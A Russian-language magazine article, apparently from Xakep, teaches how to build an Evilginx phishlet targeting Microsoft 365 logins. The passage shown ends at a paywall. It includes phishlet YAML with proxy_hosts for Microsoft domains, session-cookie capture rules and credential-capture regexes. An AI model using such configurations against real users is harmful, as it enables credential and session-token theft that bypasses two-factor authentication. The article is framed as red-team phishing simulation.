Ког­да мне в ходе рабоче­го про­екта понадо­билось фишить кор­поратив­ные поч­ты, я стол­кнул­ся с отсутс­тви­ем руководс­тва по соз­данию фиш­лета для Evilginx, а готовые как раз перес­тали работать из‑за изме­нений на сай­те. Я решил, что это отличная воз­можность научить­ся раз­рабаты­вать свой фиш­лет. Нашей целью будет Microsoft 365.

info

Под­робное руководс­тво о том, как раз­вернуть связ­ку из Evilginx и Gophish, читай в статье «Evilginx + Gophish. Под­нима­ем инфраструк­туру для симуля­ции фишин­га с обхо­дом 2FA».

Для соз­дания фиш­лета нам понадо­бят­ся толь­ко две вещи:

  • бра­узер (мой выбор пал на Firefox) или ути­лита, которая спо­соб­на логиро­вать зап­росы и отве­ты из бра­узе­ра (Burp Suite);
  • тек­сто­вый редак­тор для написа­ния кода.

Все фиш­леты Evilginx хра­нят­ся в дирек­тории ути­литы, в пап­ке phishlets. Если они в тво­ей вер­сии где‑то в дру­гом мес­те, то прос­то запус­ти Evilginx и при­нуди­тель­но ука­жи ему дирек­торию с фиш­летами: -p /phishlets_folder.

Преж­де чем соз­давать свой фиш­лет, я бы хотел разоб­рать его струк­туру и под­робнее рас­ска­зать про каж­дую из час­тей. Для начала пос­мотрим на дефол­тный фиш­лет, который лежит в дирек­тории phishlets ути­литы Evilginx на GitHub. На его осно­ве мы раз­берем, за что отве­чает каж­дая из час­тей фиш­лета, а более деталь­ный ана­лиз про­ведем на осно­ве фиш­лета для сай­та login.microsoftonline.com.

# Версия
min_ver: '3.0.0'
# Раздел, указывающий на субдомены, которые будут проксироваться
proxy_hosts:
- {phish_sub: 'academy', orig_sub: 'academy', domain: 'breakdev.org', session: true, is_landing: true, auto_filter: true}
# Раздел с правилами, которые позволят избежать нежелательных редиректов или изменить содержимое фишингового сайта, как тебе надо
sub_filters:
- {triggers_on: 'breakdev.org', orig_sub: 'academy', domain: 'breakdev.org', search: 'something_to_look_for', replace: 'replace_it_with_this', mimes: ['text/html']}
# Раздел, указывающий, какие куки будут «сворованы»
auth_tokens:
- domain: '.academy.breakdev.org'
keys: ['cookie_name']
# Раздел, указывающий, какие данные будут получены из запросов
credentials:
username:
key: 'email'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
# Легитимная страница авторизации на сайте
login:
domain: 'academy.breakdev.org'
path: '/evilginx-mastery'

В дефол­тном фиш­лете не ука­заны такие раз­делы, как auth_urls и js_inject, но их мы пока отло­жим. В начале опи­сания каж­дого модуля фиш­лета я для наг­ляднос­ти буду встав­лять кусок кода, а даль­ше в ходе повес­тво­вания показы­вать скрин­шоты. Ну что, нач­нем?

min_ver

Это пер­вая часть фиш­лета, с которой ты будешь стал­кивать­ся каж­дый раз. Эта стро­ка отве­чает за то, с какой имен­но вер­сии ути­литы будет работать фиш­лет (я пред­почитаю ука­зывать 3.0.0, одна­ко видел, что, некото­рые соз­датели фиш­летов ука­зыва­ют 2.3.0).

proxy_hosts

В этом раз­деле опи­саны все под­домены и домены, которые будет обра­баты­вать Evilginx. Их тра­фик будет прок­сировать­ся через нашу ути­литу. Это важ­ный раз­дел: если не вклю­чить в спи­сок ни один сайт, то чейн нарушит­ся и во вре­мя выпол­нения цепоч­ки зап­росов слу­чит­ся переход на легитим­ный сайт.

При­мер кода proxy_hosts:

proxy_hosts:
- { phish_sub: "login", orig_sub: "login", domain: "microsoftonline.com", session: true, is_landing: true, auto_filter: false }
- { phish_sub: "www", orig_sub: "www", domain: "office.com", session: true, is_landing: false, auto_filter: false }
- { phish_sub: "login1", orig_sub: "login", domain: "live.com", session: true, is_landing: false, auto_filter: false }
- { phish_sub: "account", orig_sub: "account", domain: "live.com", session: true, is_landing: false, auto_filter: false }
- { phish_sub: "outlook", orig_sub: "outlook", domain: "live.com", session: true, is_landing: false }
- {phish_sub: '', orig_sub: '', domain: 'office.com', session: true, is_landing: false, auto_filter: true}

Ты, воз­можно, спро­сишь, что зна­чат парамет­ры session, is_landing и auto_filter. Что ж, непони­мание в работе с Evilginx иног­да губитель­но, так что рас­ска­жу!

Ес­ли для session задано зна­чение true, то хос­ты, обра­баты­вающие HTML-кон­тент основно­го сай­та, гаран­тирован­но воз­вра­щают отве­ты с сес­сион­ными куками, учет­ными дан­ными или любой дру­гой важ­ной информа­цией, которую нуж­но сох­ранить.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии